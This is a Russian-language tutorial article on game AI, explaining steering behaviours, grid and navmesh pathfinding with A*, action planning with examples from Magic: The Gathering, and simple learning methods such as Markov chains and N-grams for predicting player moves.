Представим 2D-мир, в котором агент находится в координатах (-2,-2), а целевая точка — примерно на северо-востоке, в координатах (30, 20), то есть для попадания туда нужно перемещение (32, 22). Давайте будем считать, что эти позиции указаны в метрах. Если мы решим, что агент может двигаться со скоростью 5 м/с, то уменьшим масштаб вектора перемещения до этой величины и увидим, что нам нужно задать скорость примерно (4.12, 2.83). Двигаясь на основании этого значения, агент прибудет в конечную точку чуть менее чем за 8 секунд, как и ожидалось.
Вычисления можно выполнить заново в любой момент времени. Например, если агент находится на полпути к цели, то желательное перемещение будет в два раза меньше, но после масштабирования до максимальной скорости агента в 5 м/с скорость остаётся той же. Это работает и для подвижных целей (в пределах разумного), что позволяет агенту делать небольшие корректировки по ходу движения.
Однако часто нам нужно больше контроля. Например, нам может потребоваться медленно увеличивать скорость, как будто персонаж сначала стоял неподвижно, потом перешёл на шаг, а позже побежал. С другой стороны нам может понадобиться замедлить его, когда он приближается к цели. Часто такие задачи решаются с помощью так называемых "[steering behaviours](http://www.red3d.com/cwr/steer/)", имеющих собственные названия наподобие Seek, Flee, Arrival и так далее. (На Хабре есть про них серия статей: <https://habr.com/post/358366/>.) Их идея заключается в том, что к скорости агента можно прикладывать силы ускорения на основании сравнения позиции агента и текущей скорости движения к цели, создавая различные способы движения к цели.
У каждого поведения собственное, слегка отличающееся предназначение. Seek и Arrive служат для движения агента к точке назначения. Obstacle Avoidance и Separation помогают агенту совершать небольшие корректирующие движения для обхода небольших препятствий между агентом и его точкой назначения. Alignment и Cohesion заставляют агентов двигаться вместе, имитируя стадных животных. Любые вариации разных steering behaviours можно сочетать вместе, часто в виде взвешенной суммы, для создания суммарного значения, учитывающего все эти разные факторы и создающего единый результирующий вектор. Например, агент может использовать поведение Arrival вместе с поведениями Separation и Obstacle Avoidance, чтобы держаться подальше от стен и других агентов. Этот подход хорошо работает в открытых окружениях, не слишком сложных и переполненных.
Однако в более сложных окружениях простое сложение выходных значений поведений работает не очень хорошо — иногда движение рядом с объектом происходит слишком медленно, или агент застревает, когда поведение Arrival хочет пройти сквозь препятствие, а поведение Obstacle Avoidance behaviour отталкивает агента в сторону, с которой он пришёл. Поэтому иногда имеет смысл рассмотреть вариации steering behaviours, которые более сложны, чем простое сложение всех значений. Одно из семейств таких подходов заключается в иной реализации — мы рассматриваем не каждое из поведений, дающих нам направление, с последующим их комбинированием для получения консенсуса (который сам по себе может быть неадекватным). Вместо этого мы рассматриваем движение в нескольких различных направлениях — например, в восьми направлениях компаса, или в 5-6 точках перед агентом, после чего выбираем наилучшую.
Тем не менее, в сложных средах с наличием тупиков и вариантов выбора поворотов нам нужно будет что-то более совершенное, и мы вскоре к этому перейдём.
Поиск путей
-----------
Steering behaviours отлично подходят для простого движения по достаточно открытой территории, например, футбольному полю или арене, на которой добраться из А в Б можно по прямой линии с небольшими корректировками для избегания препятствий. Но что, если маршрут к конечной точке более сложен? Тогда нам понадобится «поиск путей» (pathfinding) — исследование мира и прокладывание пути по нему для того, чтобы агент попал в конечную точку.
Простейший способ — наложить на мир сетку, и для каждой клетки рядом с агентом смотреть на соседние клетки, в которые мы можем переместиться. Если одна из них является нашей конечной точкой, то пройти маршрут обратно, от каждой клетки к предыдущей, пока не доберёмся до начала, получив таким образом маршрут. В противном случае повторять процесс с достижимыми соседями предыдущих соседей, пока не найдём конечную точку или у нас не кончатся клетки (это будет означать, что маршрута нет). Формально такой подход называется [алгоритмом поиска в ширину](https://ru.wikipedia.org/wiki/%D0%9F%D0%BE%D0%B8%D1%81%D0%BA_%D0%B2_%D1%88%D0%B8%D1%80%D0%B8%D0%BD%D1%83) (Breadth-First Search, BFS), потому что на каждом шаге он смотрит во всех направлениях (то есть «в ширину»), прежде чем переместить поиски наружу. Пространство поиска похоже на волновой фронт, который движется, пока не наткнётся на место, которое мы искали.
Это простой пример поиска в действии. Область поиска расширяется на каждом этапе, пока в неё не будет включена конечная точка, после чего можно отследить путь к началу.
В результате мы получаем список клеток сетки, составляющий маршрут, по которому нужно идти. Обычно он называется «путём», path (отсюда и «поиск путей», pathfinding), но можно его также представить как план, потому что он представляет собой список мест, в которых надо побывать, чтобы достичь своей цели, то есть конечной точки.
Теперь, когда мы знаем позицию каждой клетки в мире, для перемещения по маршруту можно использовать описанные выше steering behaviours — сначала из начального узла к узлу 2, потом от узла 2 к узлу 3, и так далее. Простейший подход заключается в движении к центру следующей клетки, но есть и популярная альтернатива — движение к середине ребра между текущей клеткой и следующей. Это позволяет агенту срезать углы резких поворотов для создания более реалистичного перемещения.
Как можно заметить, этот алгоритм может тратить ресурсы впустую, потому что исследует столько же клеток в «неправильном» направлении, сколько и в «правильном». Также он не позволяет учитывать затраты на перемещение, при которых некоторые клетки могут быть «дороже» других. Здесь нам на помощь приходит более сложный алгоритм под названием A\*. Он работает почти так же, как поиск в ширину, только вместо слепого исследования соседей, потом соседей соседей, потом соседей соседей соседей и так далее он помещает все эти узлы в список и сортирует их таким образом, чтобы следующий исследуемый узел всегда был тем, который с наибольшей вероятностью ведёт к кратчайшему маршруту. Узлы сортируются на основании эвристики (то есть, по сути, обоснованного предположения), которая учитывает два аспекта — стоимость гипотетического маршрута до клетки (учитывая таким образом все необходимые затраты на перемещение) и оценку того, насколько далеко эта клетка от конечной точки (таким образом смещая поиск в правильном направлении).
В этом примере мы показали, что он исследует по одной клетке за раз, каждый раз выбирая соседнюю клетку, имеющую наилучшие (или одни из лучших) перспективы. Получающийся путь аналогичен пути поиска в ширину, но в процессе исследовано меньшее количество клеток, и это очень важно для производительности игры на сложных уровнях.
Движение без сетки
------------------
В предыдущих примерах использовалась сетка, наложенная на мир, и мы прокладывали маршрут по миру через клетки этой сетки. Но большинство игр не накладывается на сетку, а потому наложение сетки может привести к нереалистичным паттернам движения. Также такой подход может потребовать компромиссов относительно размеров каждой клетки — если она слишком велика, то не сможет адекватно описывать небольшие коридоры и повороты, если слишком маленькая, то поиск по тысячам клеток может оказаться слишком долгим. Какие же есть альтернативы?
Первое, что нам нужно понять — с точки зрения математики сетка даёт нам "[граф](https://ru.wikipedia.org/wiki/%D0%93%D1%80%D0%B0%D1%84_(%D0%BC%D0%B0%D1%82%D0%B5%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0))" соединённых узлов. Алгоритмы A\* (и BFS) работают с графами, и им не важна сетка. Поэтому мы можем разместить узлы в произвольных позициях мира, и если между любыми двумя соединёнными узлами есть проходимая прямая линия, а между началом и концом есть хотя бы один узел, то наш алгоритм будет работать как и раньше, и на самом деле даже лучше, потому что узлов станет меньше. Часто это называется системой «точек пути» (waypoints system), поскольку каждый узел обозначает важную позицию мира, которая может создавать часть из любого количества гипотетических путей.
*Пример 1: узел в каждой клетке сетки. Поиск начинается с узла, в котором находится агент, и заканчивается конечной клеткой.*
*Пример 2: гораздо меньшее количество узлов, или* точек пути*. Поиск начинается с агента, проходит через необходимое количество точек пути и продвигается к конечной точке. Заметьте, что перемещение к первой точке пути к юго-западу от игрока — это неэффективный маршрут, поэтому обычно необходима определённая постобработка сгенерированного пути (например, для того, чтобы заметить, что путь может идти напрямую к точке пути на северо-востоке).*
Это довольно гибкая и мощная система, но она требует внимательного расположения точек пути, в противном случае агенты могут и не увидеть ближайшую точку пути, чтобы начать маршрут. Было бы замечательно, если бы могли каким-то образом генерировать точки пути автоматически на основе геометрии мира.
И тут на помощь приходит navmesh. Это сокращение от navigation mesh (навигационный меш). По сути это (обычно) двухмерный меш из треугольников, приблизительно накладывающийся на геометрию мира в тех местах, где игра разрешает перемещаться агенту. Каждый из треугольников в меше становится узлом графа и имеет до трёх смежных треугольников, которые становятся соседними узлами графа.
Ниже представлен пример из движка Unity. Движок проанализировал геометрию мира и создал navmesh (голубого цвета), являющийся аппроксимацией геометрии. Каждый полигон навмеша — это область, в которой может стоять агент, а агент может перемещаться из одного полигона в любой смежный с ним. (В этом примере полигоны сделаны ýже, чем пол, на котором они лежат, чтобы учесть радиус агента, выдающийся за пределы номинальной позиции агента.)
Мы можем выполнить поиск маршрута по мешу, снова воспользовавшись A\*, и это даст нам близкий к идеальному маршрут по миру, учитывающий всю геометрию и при этом не требующий избыточного количества лишних узлов (как это было бы с сеткой) и человеческого участия в генерировании точек пути.
Поиск путей — это обширная тема, к которой существует множество подходов, особенно если необходимо программировать низкоуровневые детали самостоятельно. Один из лучших источников дополнительной информации — [сайт Амита Патела](https://www.redblobgames.com/pathfinding/a-star/introduction.html) (перевод статьи на Хабре: <https://habr.com/post/331192/>).
Планирование
============
На примере поиска путей мы увидели, что иногда недостаточно просто выбрать направление и начать двигаться в нём — нам необходимо выбирать маршрут и делать несколько ходов, прежде чем достичь нужной конечной точки. Мы можем обобщить эту идею до широкого набора концепций, в которых цель находится не просто на следующем шаге. Для её достижения необходимо совершить серию шагов, и чтобы знать, каким должен быть первый шаг, может потребоваться заглянуть на несколько шагов вперёд. Такой подход называется *планированием*. Поиск путей можно считать одним из конкретных применений планирования, но у этой концепции существует гораздо больше областей применения. Если вернуться к циклу «восприятие-мышление-действие», это планирование — это фаза мышления, которая пытается спланировать несколько фаз действия на будущее.
Давайте рассмотрим игру Magic: The Gathering. У вас первый ход, на руках несколько карт, среди которых «Болото», дающее 1 очко чёрной маны, и «Лес», дающий 1 очко зелёной маны, «Чародей-изгнанник», для вызова которого нужно 1 очко синей маны, и «Эльфийский мистик», для вызова которого нужно 1 очко зелёной маны. (Для упрощения мы опустим остальные три карты.) Правила гласят, что игрок может сыграть одну карту земель за ход, может «коснуться» своих карт земель, чтобы получить из них ману, и может произнести столько заклинаний (в том числе и вызова существ), сколько маны у него имеется. В этой ситуации игрок скорее всего сыграет «Лес», коснётся его, чтобы получить 1 очко зелёной маны, а затем вызовет «Эльфийского мистика». Но как игровой ИИ узнает, что нужно принять такое решение?
Простой «планировщик»
---------------------
Наивный подход может заключаться в простом переборе каждого действия по порядку, пока не останется подходящих. Посмотрев на руку, ИИ видит, что может сыграть «Болото», поэтому так и делает. Остались ли после этого в этом ходу ещё действия? Он не может вызывать ни «Эльфийского мистика», ни «Чародея-изгнанника», потому что для этого нужна зелёная или синяя мана, а сыгранное «Болото» даёт только чёрную ману. И мы не можем сыграть «Лес», потому что уже сыграли «Болото». То есть ИИ-игрок совершит ход по правилам, но он будет не очень оптимальным. К счастью, есть решение получше.
Почти так же, как поиск путей находит список позиций для перемещения по миру с целью попадания в нужную точку, наш планировщик может находить список действий, которые переводят игру в нужное состояние. Также, как каждая позиция на пути имеет набор соседей, являющихся потенциальными вариантами выбора следующего шага по пути, каждое действие в плане имеет соседей, или «наследников», являющихся кандидатами на следующий шаг плана. Мы можем выполнять поиск по этим действиям и наследующим действиям, пока не достигнем желаемого состояния.
Предположим, что для нашего примере желательным результатом будет «вызывать существо, если это возможно». В начале хода у нас есть только два потенциальных действия, разрешённых правилами игры:
```
1. Сыграть "Болото" (результат: "Болото" уходит из руки и входит в игру)
2. Сыграть "Лес" (результат: "Лес" уходит из руки и входит в игру)
```
Каждое предпринятое действие может открывать дальнейшие действия или закрывать их, тоже в соответствии с правилами игры. Представьте, что мы выбрали сыграть «Болото» — это закрывает возможность сыграть эту карту как потенциальное наследующее действие (потому что «Болото» уже сыграно), закрывает возможность сыграть «Лес» (потому что правила игры разрешают сыграть только одну карту земель за ход) и добавляет возможность коснуться «Болота» для получения 1 очка чёрной маны — и это, по сути, единственное наследуемое действие. Если мы сделаем ещё один шаг и выберем «коснуться „Болота“», то получим 1 очко чёрной маны, с которым не можем ничего сделать, поэтому это бессмысленно.
```
1. Сыграть "Болото" (результат: "Болото" уходит из руки и входит в игру)
1.1 Коснуться "Болота" (результат: мы коснулись "Болота", доступно +1 чёрной маны)
Действий не осталось - КОНЕЦ
2. Сыграть "Лес" (результат: "Лес" уходит из руки и входит в игру)
```
Этот короткий список действий не дал нам многого и привёл к «тупику», если воспользоваться аналогией с поиском путей. Поэтому повторим процесс для следующего действия. Мы выбираем «сыграть „Лес“». Это тоже устраняет возможность «сыграть „Лес“» и «сыграть „Болото“», и открывает в качестве потенциального (и единственного) следующего шага «коснуться „Леса“». Это даёт нам 1 очко зелёной маны, что в свою очередь открывает третий шаг — «вызвать „Эльфийского мистика“».
```
1. Сыграть "Болото" (результат: "Болото" уходит из руки и входит в игру)
1.1 Коснуться "Болота" (результат: мы коснулись "Болота", доступно +1 чёрной маны)
Действий не осталось - КОНЕЦ
2. Сыграть "Лес" (результат: "Лес" уходит из руки и входит в игру)
2.1 Коснуться "Леса" (результат: мы коснулись "Болота", доступно +1 зелёной маны)
2.1.1 Вызвать "Эльфийского мистика" (результат: "Эльфийский мистик" в игре, доступно -1 зелёной маны)
Действий не осталось - КОНЕЦ
```
Теперь мы исследовали все возможные действия и действия, следующие из этих действий, найдя план, позволяющий нам вызвать существо: «сыграть „Лес“», «коснуться „Леса“», «вызвать „Эльфийского мистика“».
Очевидно, это очень упрощённый пример, и обычно нужно выбирать *наилучший* план, а не просто план, удовлетворяющий каким-то критериям (например «вызвать существо»). Обычно можно оценивать потенциальные планы на основании конечного результата или накапливающейся выгоды от использования плана. Например, можно давать себе 1 очко за выложенную карту земель и 3 очка за вызов существа. «Сыграть „Болото“» будет коротким планом, дающим 1 очко, а план «сыграть „Лес“ → коснуться „Леса“ → вызвать „Эльфийского мистика“» даёт 4 очка, 1 за землю и 3 за существо. Это будет самый выгодный план из имеющихся, поэтому следует выбрать его, если мы назначали такие очки.
Выше мы показали, как работает планирование в пределах одного хода Magic: The Gathering, но его можно применить и к действиям в серии ходов (например, «переместить пешку, чтобы дать пространство для развития слону» в шахматах или «побежать в укрытие, чтобы юнит мог в следующем ходу стрелять, находясь в безопасности» в XCOM) или к общей стратегии всей игры (например, «строить пилоны до всех остальных зданий протоссов» в Starcraft, или «выпить зелье Fortify Health перед нападением на врага» в Skyrim).
Улучшенное планирование
-----------------------
Иногда на каждом шагу есть слишком много возможных действий, и оценка каждого варианта оказывается неразумным действием. Вернёмся к примеру Magic: The Gathering — представьте, что у нас на руке есть несколько существ, уже сыграно много земель, поэтому мы можем вызвать любое существо, сыграно несколько существ со своими способностями, а на руке есть ещё пара карт земель — количество перестановок выкладывания земель, использования земель, вызова существ и использования способностей существ может равняться тысячам или даже десяткам тысяч. К счастью, есть пара способов решения этой проблемы.
Первый называется "[backwards chaining](https://en.wikipedia.org/wiki/Backward_chaining)" («обратный обход»). Вместо проверки всех действий и их результатов мы можем начать с каждого из желательных конечных результатов и посмотреть, сможем ли мы найти к ним прямой путь. Можно сравнить это с попыткой дотянуться до определённого листа на дереве — гораздо логичнее начинать с этого листа и возвращаться назад, прокладывая маршрут по стволу (и этот маршрут мы затем сможем пройти в обратном порядке), чем начинать со ствола и пытаться угадать, какую ветвь выбирать на каждом шагу. Если начинать с конца и идти в обратную сторону, то создание плана окажется намного быстрее и проще.
Например, если у противника осталось 1 очко здоровья, то может быть полезным попытаться найти план «нанести 1 или больше очков прямого урона противнику». Наша система знает, что для достижения этой цели ей нужно скастовать заклинание прямого урона, что в свою очередь означает, что оно должно быть у нас на руке и нам нужно достаточно маны для его произнесения. Это, в свою очередь, означает, что нам нужно коснуться достаточного количества земель для получения этой маны, для чего может потребоваться сыграть дополнительную карту земель.
Ещё один способ — поиск по первому наилучшему совпадению. Вместо длительного обхода всех перестановок мы измеряем, насколько «хорош» каждый частичный план (аналогично тому, как мы выбирали из вариантов планов выше) и вычисляем каждый раз наиболее хорошо выглядящий. Часто это позволяет создать оптимальный, или хотя бы достаточно хороший план без необходимости рассмотрения каждой возможной перестановки планов. A\* является разновидностью поиска по первому наилучшему совпадению — сначала он исследует самые многообещающие маршруты, поэтому обычно может найти путь к цели без необходимости забираться слишком далеко в других направлениях.
Интересный и всё более популярный вариант поиска по первому наилучшему совпадению — это поиск по дереву [Монте-Карло](https://en.wikipedia.org/wiki/Monte_Carlo_tree_search). Вместо того, чтобы гадать, какие планы лучше других при выборе каждого последующего действия, этот способ выбирает на каждом шаге случайные последующие действия, пока не достигает конца, в котором больше невозможны никакие действия — вероятно, потому что гипотетический план привёл к состоянию победы или проигрышв — и использует этот результат для придания большего или меньшего веса предыдущим выбранным вариантам. При многократном повторении процесса способ может создать хорошую оценку наилучшего следующего шага, даже если ситуация поменяется (например, если противник попытается сорвать наши планы).
Наконец, ни одно обсуждение планирования в играх не будет полным без упоминания [планирования действий на основе целей](http://alumni.media.mit.edu/~jorkin/goap.html) (Goal-Oriented Action Planning, GOAP). Это широко используемая и активно обсуждаемая техника, но если отвлечься от нескольких конкретных деталей реализации, то она по сути является планировщиком обратного обхода, который начинает с цели и пытается подобрать действие, приводящее к этой цели, или, что более вероятно, список действий, приводящий к цели. Например, если целью было «убить игрока» и игрок находится в укрытии, то план может быть таким: «Выкурить игрока гранатой» → «Вытащить оружие» → «Атаковать».
Обычно существует несколько целей, и у каждой есть свой приоритет. Если цели с наивысшим приоритетом достичь не удаётся, например, никакой набор действий не может сформировать план «Убить игрока», потому что игрока не видно, то система возвращается к целям с меньшим приоритетам, например, «Патрулировать» или «Охранять на месте».
Обучение и адаптация
====================
В начале статьи мы упомянули, что игровой ИИ в общем случае не использует «машинное обучение», потому что оно обычно не приспособлено для управления в реальном времени интеллектуальными агентами игрового мира. Однако это не значит, что мы не можем позаимствовать что-то из этой области там, где это имеет смысл. Нам может понадобиться, чтобы компьютерный противник в шутере узнал наилучшие места, в которые нужно переместиться, чтобы набрать наибольшее количество убийств. Или мы можем захотеть, чтобы противник в файтинге. например, в Tekken или Street Fighter научился распознавать использование игроком одних и тех же комбо, чтобы начать их блокировать, заставляя игрока применить другую тактику. То есть бывают случаи, когда определённая доля машинного обучения полезна.
Статистика и вероятности
------------------------
Прежде чем мы перейдём к более сложным примерам, стоит разобраться, насколько далеко мы можем зайти, просто выполняя измерения и используя эти данные для принятия решений. Например, допустим, у нас есть игра в жанре стратегии реального времени, и нам нужно понять, будет ли игрок начинать раш в течение нескольких первых минут, чтобы решить, стоит ли строить больше защиты. Мы можем экстраполировать предыдущее поведение игрока, чтобы понять, каким может быть поведение в будущем. Сначала у нас нет данных, которые можно экстраполировать, но каждый раз, когда ИИ играет против живого противника, он может записывать время первой атаки. Через несколько матчей это время можно усреднить, и мы получим достаточно хорошее приближение времени атаки игрока в будущем.
Проблема с простым усреднением заключается в том, что оно обычно со временем сходится в центре. Поэтому если игрок использовал стратегию раша первые 20 раз, а в следующие 20 раз переключился на гораздо более медленную стратегию, то среднее значение будет где-то посередине, что не даст нам никакой полезной информации. Один из способов улучшения данных — использование простого окна усреднения, учитывающего только последние 20 точек данных.
Похожий подход можно использовать при оценке вероятности совершения определённых действий, если предположить, что предыдущие предпочтения игрока сохранятся и в будущем. Например, если игрок пять раз атаковал фаерболом, два раза молнией и врукопашную всего один раз, то вероятнее всего, что он предпочтёт фаербол в 5 из 8 раз. Экстраполируя из этих данных, мы можем увидеть, что вероятность использования оружия такая: Фаербол=62,5%, Молния=25% Рукопашная=12,5%. Наши ИИ-персонажи поймут, что им лучше найти огнестойкую броню!
Ещё один интересный метод заключается в использовании наивного байесовского классификатора (Naive Bayes Classifier) для исследования больших объёмов входных данных с целью классификации текущей ситуации, чтобы ИИ-агент мог реагировать соответствующим образом. Байесовы классификаторы наверно лучше всего известны благодаря их использованию в спам-фильтрах электронной почты, где они оценивают слова в письме, сравнивают их с теми словами, которые наиболее часто встречались в спаме и нормальных сообщениях в прошлом. На основании этих вычислений они принимают решение о вероятности того, что последнее полученное письмо является спамом. Мы можем сделать что-то подобное, только с меньшим объёмом входных данных. Записывая всю наблюдаемую полезную информацию (например, создаваемые вражеские юниты, используемые заклинания или исследуемые технологии) и отслеживая получившуюся ситуацию (война/мир, стратегия раша/стратегия защиты и т.д.), мы можем подбирать на основании этого подходящее поведение.
При использовании всех этих техник обучения может быть достаточно, а часто и предпочтительно применять их к данным, собранным во время плейтестинга до выпуска игры. Это позволяет ИИ адаптироваться к различным стратегиям, используемым плейтестерами, и не меняться после выпуска игры. ИИ, который адаптируется к игроку после выпуска игры, может в результате стать слишком предсказуемым или даже слишком сложным для победы над ним.
Простая адаптация на основе весов
---------------------------------
Давайте сделаем ещё один шаг вперёд. Вместо того, чтобы просто использовать входящие данные для выбора между дискретными заранее прописанными стратегиями, можно изменять набор значений, влияющих на принятие решений. Если мы хорошо понимаем игрового мира и правил игры, то можем сделать следующее:
* Заставить ИИ собирать данные о состоянии мира и ключевых событиях во время игры (как в примере выше);
* Изменять значения или «веса» на основании данных в процессе их сбора;
* Реализовать решения на основании обработки или вычисления этих весов.
Представьте компьютерного агента, который может выбирать комнаты на карте в шутере от первого лица. У каждой комнаты есть вес, определяющий желательность посещения этой комнаты. Изначально все комнаты имеют одинаковое значение. При выборе комнаты, ИИ подбирает её случайным образом, но с влиянием этих весов. Теперь представьте, что когда компьютерного агента убивают, он запоминает, в какой комнате это происходит, и снижает её вес, чтобы в будущем возвращаться в неё с меньшей вероятностью. Аналогично, представьте, что компьютерный агент совершил убийство. Тогда он может увеличить вес комнаты, в которой находится, чтобы поднять её в списке предпочтений. Так что если одна комната становится особенно опасной для ИИ-игрока, то он начинает избегать её в будущем, а если какая-то другая комната позволяет ИИ получить много убийств, то он будет туда возвращаться.
Марковские модели
-----------------
Что, если бы мы захотели использовать собираемые данные для создания прогнозов? Например, если мы записываем каждую комнату, в которой видим игрока в течение какого-то промежутка времени, то можем резонно прогнозировать, в какую комнату он может двинуться дальше. Отслеживая и текущую комнату, в которой находится игрок, и предыдущую, и записывая эти пары значений, мы можем вычислить, как часто каждая из предыдущих ситуаций ведёт к последующей ситуации, и использовать это знание для прогнозов.
Представим, что есть три комнаты — красная, зелёная и синяя, и что во время сеанса игры мы получили такие наблюдения:
| | | | | |
| --- | --- | --- | --- | --- |
| **Первая комната, в которой замечен игрок** | **Всего наблюдений** | **Следующая комната** | **Сколько раз замечен**
| **Процент**
|
| Красная
| 10
| Красная
| 2
| 20%
|
| Зелёная
| 7
| 70%
|
| Синяя
| 1
| 10%
|
| Зелёная
| 10
| Красная
| 3
| 30%
|
| Зелёная
| 5
| 50%
|
| Синяя
| 2
| 20%
|
| Синяя
| 8
| Красная
| 6
| 75%
|
| Зелёная | 2
| 25%
|
| Синяя
| 0
| 0% |
Количество обнаружений в каждой из комнат достаточно равномерно, поэтому это не даёт нам понимания того, какая из комнат может стать хорошим местом для засады. Данные могут быть искажены тем, что игроки равномерно спаунятся по карте, с равной вероятностью появиться в любой из этих трёх комнат. Но данные о посещении *следующей* комнаты могут оказаться полезными и помочь нам прогнозировать движение игрока по карте.
Мы сразу можем заметить, что зелёная комната очень привлекательна для игроков — большинство игроков из красной комнаты переходили в зелёную, а 50% игроков, замеченных в зелёной комнате, остаются там при следующей проверке. Также мы можем заметить, что синяя комната — довольно непривлекательное место. Люди редко переходят из красной или зелёной комнат в синюю и похоже, что никто не любит задерживаться в ней долго.
Но данные говорят нам нечто более конкретное — они говорят, что когда игрок находится в синей комнате, то следом за ней он с наибольшей вероятностью выберет красную, а не зелёную. Несмотря на то, что зелёная комната намного популярное для перехода место, чем красная, тенденция немного обратная, если игрок находится в синей комнате. Похоже, что следующее состояние (т.е. комната, в которую он решит переместиться далее) зависит от предыдущего состояния (т.е. от комнаты, в которой он находится сейчас), поэтому эти данные позволяют нам создавать более качественные прогнозы о поведении игроков, чем при независимом подсчёте наблюдений.
Эта идея о том, что мы можем использовать знания о предыдущем состоянии для прогнозирования будущего состояния называется [марковской моделью](https://en.wikipedia.org/wiki/Markov_model), а подобные примеры, в которых у нас есть точно измеряемые события (например, «в какой комнате находится игрок»), называются цепями Маркова. Поскольку они представляют собой вероятность перехода между следующими друг за другом состояниями, их часто представляют графически в виде конечного автомата, возле каждого перехода которого указывается его вероятность. Ранее мы использовали конечный автомат для представления состояния поведения, в котором находится агент, но эту концепцию можно распространить на всевозможные состояния, связаны они с агентом или нет. В нашем случае состояния обозначают занимаемые агентом комнаты. Это будет выглядеть так:
Это простой подход для обозначения относительной вероятности перехода в различные состояния, который даёт ИИ способность прогнозирования следующего состояния. Но мы можем пойти дальше, создав систему, заглядывающую в будущее на два или более шага.
Если игрок был замечен в зелёной комнате, мы используем данные, говорящие нам, что есть 50-процентная вероятность того, что при следующем наблюдении он всё ещё будет в зелёной комнате. Но какова вероятность того, что он останется в ней и на третий раз? Это не только вероятность того, что он останется в зелёной комнате в течение двух наблюдений (50% \* 50% = 25%), но и вероятность того, что он покинет её и вернётся. Вот новая таблица с предыдущими значениями, применёнными к трём наблюдениям: одному текущему и двум гипотетическим в будущем.
| | | | | | |
| --- | --- | --- | --- | --- | --- |
| **Наблюдение 1**
| **Гипотетическое наблюдение 2**
| **Вероятность в процентах**
| **Гипотетическое наблюдение 3**
| **Вероятность в процентах**
| **Накапливаемая вероятность**
|
| Зелёная | Красная
| 30%
| Красная
| 20%
| 6%
|
| **Зелёная**
| 70%
| **21%**
|
| Синяя
| 10%
| 3%
|
| Зелёная | 50%
| Красная
| 30%
| 15%
|
| **Зелёная**
| 50%
| **25%**
|
| Синяя
| 20%
| 10%
|
| Синяя
| 20%
| Красная
| 75%
| 15%
|
| **Зелёная**
| 25%
| **5%**
|
| Синяя
| 0%
| 0%
|
| | | | *Всего:*
| 100% |
Здесь мы видим, что вероятность увидеть игрока в зелёной комнате спустя 2 наблюдения равна 51% — 21% того, что он придёт из красной комнаты, 5% того, что мы увидим игрока посещающим синюю комнату, и 25% того, что он всё время будет оставаться в зелёной комнате.
Таблица — это просто визуальная подсказка, процедура требует всего лишь умножения вероятностей на каждом этапе. Это значит, что мы можем заглядывать далеко в будущее, но с одной значительной оговоркой: мы делаем предположение, что вероятность входа в комнату целиком зависит от того, в какой комнате мы находимся в данный момент. Эта идея о том, что будущее состояние зависит только от текущего, называется *марковским свойством*. Хотя она позволяет нам использовать такие мощные инструменты, как цепи Маркова, обычно она является только аппроксимацией. Игроки могут принимать решение о посещении комнат на основании других факторов, например, уровня здоровья и количества боеприпасов, и поскольку мы не записываем эту информацию как часть состояния, наши прогнозы будут менее точными.
N-граммы
--------
Давайте вернёмся к нашему примеру с распознаванием комбо в файтинге. Это похожая ситуация, в которой мы хотим спрогнозировать будущее состояние на основании прошлого (чтобы решить, как заблокировать атаку или увернуться от неё), но вместо изучения одного состояния или события, мы будем рассматривать *последовательности* событий, создающих комбо-движение.
Один из способов сделать это — сохранять каждый ввод игрока (например, *удар ногой*, *удар рукой* или *блок*) в буфер и записывать весь буфер как событие. Представим, что игрок постоянно нажимает *удар ногой*, *удар ногой*, *удар рукой* для использования атаки "*Суперкулак смерти*", а система ИИ сохраняет весь ввод игрока в буфер и запоминает последние 3 ввода, использованные на каждом шаге.
| | | |
| --- | --- | --- |
| **Ввод**
| **Уже имеющаяся последовательность ввода**
| **Новая память ввода**
|
| Удар ногой
| Удар ногой
| *нет*
|
| Удар рукой
| Удар ногой, удар рукой
| *нет*
|
| Удар ногой
| Удар ногой, удар рукой, удар ногой
| Удар ногой, удар рукой, удар ногой |
| Удар ногой
| Удар ногой, удар рукой, удар ногой, удар ногой
| Удар рукой, удар ногой, удар ногой
|
| **Удар рукой**
| **Удар ногой, удар рукой, удар ногой, удар ногой, удар рукой**
| **Удар ногой, удар ногой, удар рукой**
|
| Блок
| Удар ногой, удар рукой, удар ногой, удар ногой, удар рукой, блок
| Удар ногой, удар рукой, блок
|
| Удар ногой
| Удар ногой, удар рукой, удар ногой, удар ногой, удар рукой, блок, удар ногой
| Удар рукой, блок, удар ногой
|
| Удар ногой
| Удар ногой, удар рукой, удар ногой, удар ногой, удар рукой, блок, удар ногой, удар ногой
| Блок, удар ногой, удар ногой
|
| **Удар рукой**
| **Удар ногой, удар рукой, удар ногой, удар ногой, удар рукой, блок, удар ногой, удар ногой, удар рукой**
| **Удар ногой, удар ногой, удар рукой** |
(В выделенных жирным строках игрок выполняет атаку «Суперкулак смерти».)
Можно посмотреть на все те разы, когда игрок выбирал в прошлом *удар ногой*, за которым следовал ещё один *удар ногой*, и заметить, что следующий ввод всегда бывает *ударом рукой*. Это позволяет ИИ-агенту создать прогноз о том, что если игрок только что выбрал удар ногой, за которым последовал удар ногой, то он скорее всего далее выберет *удар рукой*, таким образом запустит *Суперкулак смерти*. Это позволяет ИИ решить выбрать действие, противодействующие этому удару, например блок или уклонение.
Такие последовательности событий называются [N-граммами](https://ru.wikipedia.org/wiki/N-%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B0), где N — количество сохраняемых элементов. В предыдущем примере это была 3-грамма, также называемая триграммой, то есть первые 2 элемента используются для прогнозирования третьего. В 5-грамме по первым 4 элементам прогнозируется пятый, и так далее.
Разработчики должны аккуратно выбирать размер N-грамм (иногда называемый порядком). Чем меньше количество, тем меньше требуется памяти, потому что меньше количество допустимых перестановок, но тем меньше сохраняется истории, а значит, теряется контекст. Например, 2-грамма (также называемая «биграммой») будет содержать записи для *удар ногой*, *удар ногой* и записи для *удар ногой*, *удар рукой*, но никак не может сохранить *удар ногой*, *удар ногой*, *удар рукой*, поэтому не сможет отследить это комбо.
С другой стороны, чем больше порядок, тем больше требуется памяти, и систему скорее всего будет сложнее обучить, ведь у нас будет гораздо больше возможных перестановок, а значит, мы можем никогда не встретить одну и ту же дважды. Например, если есть три возможных ввода (*удар ногой*, *удар рукой* и *блок*) и мы используем 10-грамму, то всего будет почти 60 тысяч различных перестановок.
